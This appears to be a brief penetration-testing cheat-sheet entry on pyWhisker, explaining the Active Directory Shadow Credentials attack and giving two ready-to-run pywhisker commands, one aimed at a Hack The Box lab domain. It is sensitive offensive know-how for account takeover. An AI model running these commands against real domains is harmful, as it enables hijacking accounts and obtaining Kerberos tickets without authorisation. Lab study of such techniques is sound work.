Summery
pyWhisker is a Python tool for abusing AD Shadow Credentials.
In simple terms, it lets you manipulate an account’s msDS-KeyCredentialLink attribute to add a certificate-based credential.
If you have sufficient permissions over an account, you can:
- Add a shadow credential.
- Obtain a certificate/private key for it.
- Authenticate as that account using PKINIT.
- Obtain a Kerberos TGT without knowing the account’s password.
You can then use impacket-getTGT to change your .pfx file into a fully-fledged tgt.
Commands
pywhisker -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add" - Basic command
pywhisker -d certified.htb -u management_svc -k --no-pass --dc-ip 10.129.231.186 -t management_svc -a list - Kerberos variant of the basic command
References
Used in: Certified
Related: Whisker.exe